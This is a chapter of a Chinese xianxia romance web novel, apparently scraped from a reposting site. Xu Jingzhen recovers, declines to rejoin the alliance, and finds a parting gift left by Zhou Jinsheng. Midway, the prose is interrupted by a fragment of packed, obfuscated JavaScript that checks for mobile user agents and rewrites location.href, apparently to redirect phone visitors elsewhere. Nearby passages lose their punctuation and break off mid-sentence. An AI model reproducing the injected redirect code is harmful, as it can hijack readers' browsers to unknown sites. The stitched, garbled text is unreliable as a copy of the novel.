第232章 堇真

作品:《拯救苍生从拆CP走起

    徐静真伤好后的去处成了问题。


    他养病这许多年,经脉寸断,修为停滞,好在药圣医术高明,调养十年,总算可以重新提剑。


    彼时秦檀闭关多年,仙盟一切事务由贺亭瞳执掌,他痊愈那日,贺盟主亲至碧云川,问他可要重归仙盟。


    徐静真坐在门口的小马扎上,看着碧云川内遍生的春草,轻轻摇了摇头,婉拒了。


    多年缠绵病榻,他的心性早不复当年,景明君的一切好像另一个世界里发生的事,不论是前呼后拥的世家子,还是风光无限的盟主生涯,都随着电闪雷鸣化作灰烬。


    徐静真已经死了,带着徐氏满门的罪孽和血腥下了地狱,现在残存于世间的不过一个孤魂野鬼,又怎么肯踏入九曜山地界。


    “真真哥,那你今后要如何打算?”贺亭瞳捧着茶杯,温水内,花叶舒展,水面上映着旁边伸懒腰的扶风焉。


    他们忙了许久许久,这次也算是抽了个空放风,扶风焉在旁边晒太阳,眼睛都快眯起来了。


    碧云川的风有种熏熏然的暖,混合着花香和药汁沉闷的苦,莫名的恬静,容易让人忘却恩怨,


    “我会去蓬州。”徐静真抚着腰身上的软剑,有一瞬间锋芒毕露,而后又归于平静,他低声道:“那处鱼龙混杂,青云书院分院又刚开,怕是难以立足,我得过去帮忙。”


    于是贺亭瞳悬着的心终于放下,他长舒一口气,点头道:“那就好,真真哥,过去后若是遇到什么难处,尽管联系,我定会前去相助。”


    徐静真摇摇头,“蓬州而已,我还是能处理好的,修为虽不如从前,剑术倒还没丢……”


    顿了顿,他忽的反应过来,挑眉调侃道:“怎么?你怕我跟人跑了不成?”


    贺亭瞳真诚道:“我是相信真真哥的,只不过有些人狼子野心,滑不溜秋,确实不太好抓。”


    扶风焉在旁侧补刀道:“小贺这几日打了好几遍草稿,一边想着休养生息,一边又想着要不然趁热打铁带着人把无歧路老窝端了,再把舟堇生宰了好呜呜——”


    贺亭瞳紧急堵嘴,捏着扶风焉的软肉,把人掐地一跳一跳,徐静真在旁边撑着头看着他俩的动作笑,笑地浑身震颤,差点从椅子上摔下去。


    “放心,他不会来见我的,更不会来抓我,这点你们都多虑了。”徐静真指了指碧云川的外墙,终于从笑声中平静过来:“这十年来他从未在我面前


    现身一墙之隔而已他从前不敢出来往后也不会。”


    前些年舟堇生送药送的很是勤快这几年他身体渐渐恢复舟堇生的身影也随之减少细细算来墙根那盏用来测鬼气的小灯已经一年多未曾亮过了。


    不过天地之间依然有无歧路道主的传说。


    他在这世上杀了许多人结了许多仇容纳了那么多仙门叛徒再加上一条鬼道……此生注定游弋在世间阴暗角落见不得光了。


    贺亭瞳猛拍扶风焉大腿扼腕道:“他的道境同阵营时十分好用可待敌对时实在讨厌不过总有一日我要将他抓捕归案!”


    扶风焉:“呜呜呜呜呜呜!”


    贺亭瞳又赶紧揉了揉他的腿扶风焉脸上浮现一层薄红嘴角动了动好像说了什么话而后贺亭瞳脸颊也红了。


    徐静真:“?”


    他捧着茶杯默默转过身去。


    唉如胶似漆小情侣。


    两人如今都是大忙人自然也待不了多久为徐静真备好通行文牒和一些盘缠后便离开了碧云川。


    仙盟内部派系错综复杂贺亭瞳虽然有办法拿捏人但底下起小心思的不止一两个他没办法离开太久还得坐镇九曜山。


    徐静真将他们送到碧云川外看着他们俩登上了灵舟


    徐静真连连摆手抗拒道:“免了免了!记得把他看好!”


    陈小雨因为同情他的遭遇恨不得将徐氏所有人大卸八块身为徐静真的关门弟子一有时间就会溜过来看望自己半身不遂的师尊然后一边给徐静真按摩一边和他聊天偶尔情绪上头还会哭个稀里哗啦。


    可能乐修的嗓子就是天生比剑修的好上一些在话痨这件事上陈小雨青出于蓝而胜于蓝这几年已经让徐静真有些隐隐招架不住了。


    这次离开碧云川也算是躲个清净可不敢把陈小雨带上。


    贺亭瞳笑出声随着灵舟的起飞那点子笑声也被风浪淹没了。


    大约是怕他寂寞过去那十年这群小辈三天两头过来寻他虽然确实是有被陪伴到只不过忒吵了一点一点不给他伤感的机会等徐静真回过神来发现自己就这样将最难熬的日子度过去了。


    但总不可能一直被小辈们照顾徐静真有自己的执着和骄傲既然活下来了那便要将自己


    这条命用在实处,他会去更远的地方,一一踏遍那片因徐氏祖辈而生的焦土,被战争造成的负面影响,也该有人去消除。


    *


    徐静真自己的行李不多,但那几个小辈送来的东西颇多,什么恒天之山的花,南海的鱼,花州的琉璃灯,还有苏昙留下来的肖像画……他分门别类一一收纳好,等最后一个物品进了储物袋,抬头一看,外头漆黑一片,子时已过。


    坐在桌边喝了一口凉透的茶水,他忽的心有所感一般,抬头朝着角落望去,却见那盏沉寂了一年有余的琉璃灯居然颤颤巍巍亮了起来。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348874|149926||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >徐静真放下茶盏,看着那灯盏越来越亮,仿佛催促。


    他终究还是走了过去,轻轻抬手,碰上那面斑驳的砖墙,夜风呼啸而过,另一侧静悄悄的,没发出半点声音。


    徐静真其实想过自己与舟堇生的后续,喜欢吗?当然是喜欢的,这种喜欢足够他容纳舟堇生的所有吗?


    不够的。


    少年时的心动已经足以慰藉这一生了,至于成年后经历的一切,他尚且原谅不了自己,又如何看得开舟堇生的所作所为,舟堇生的鬼道,他的慈悲道,好像注定背道而驰。


    他想说,做个好人吧。


    可好人哪有那么容易做。


    也想说,收手吧,我陪你去死。


    又觉得像是不知人间疾苦的风凉话。


    或者是见一面,然后呢?说什么,做什么,抱着人哭一场,还是抽着剑砍过去说邪道伏诛。


    好像都不必了。


    夜深露重。


    灯亮了一刻钟,而后大门被轻轻敲了三下,紧接着灯火转而黯淡,渐渐熄灭。


    人走了。


    徐静真拉开那扇薄薄的木门,夜风送来草木的气息,他低头,看见门口放了一个盒子。


    轻轻打开,数不尽的干花中,放了一枚开过光的平安符,其中带着佛门气息,内部应当是有什么护身法宝。


    平安符底,则是一串红豆编作的手链,正合他的手围。


    徐静真沉默片刻,将护身符贴身戴好,红豆也缠在了腕上,而后给药宗宗主留书一封,自己则轻装简行,在天色将白之际踏上蓬州的道路。


    听说千年前蓬州沃野千里,林木参天,不知自己有生之年,可否将其复原。


    *


    相里玄不懂,“道主,您都到门口了,为何不愿与徐先生见一面?


    舟堇生站在山顶处,遥遥看着那道身影被青山绿水吞没,他把玩着一串殷红的珠子,漆黑的眼底没半点波澜。


    “有什么可见的,不过一个旧人而已。


    墨一般的阴影在脚下展开,不远处碧云川察觉到隐约的鬼气,有人朝着他们这个方向飞来。


    远远的可以听见陈小雨暴躁的声音:“狗贼!拿命来!


    舟堇生带着频频回头的相里玄遁走,不带一丝犹豫。


    下次见面,应该是灰飞烟灭的时候吧。


    他与徐静真穷尽一生的缘分,也不过是那短暂数载而已。


    但好歹还有回忆,那可是十几岁的景明仙君,除了他没人见过,怎么不算是一种幸运。


    ————————!!————————


    其他小伙伴的番外会一个个更过去。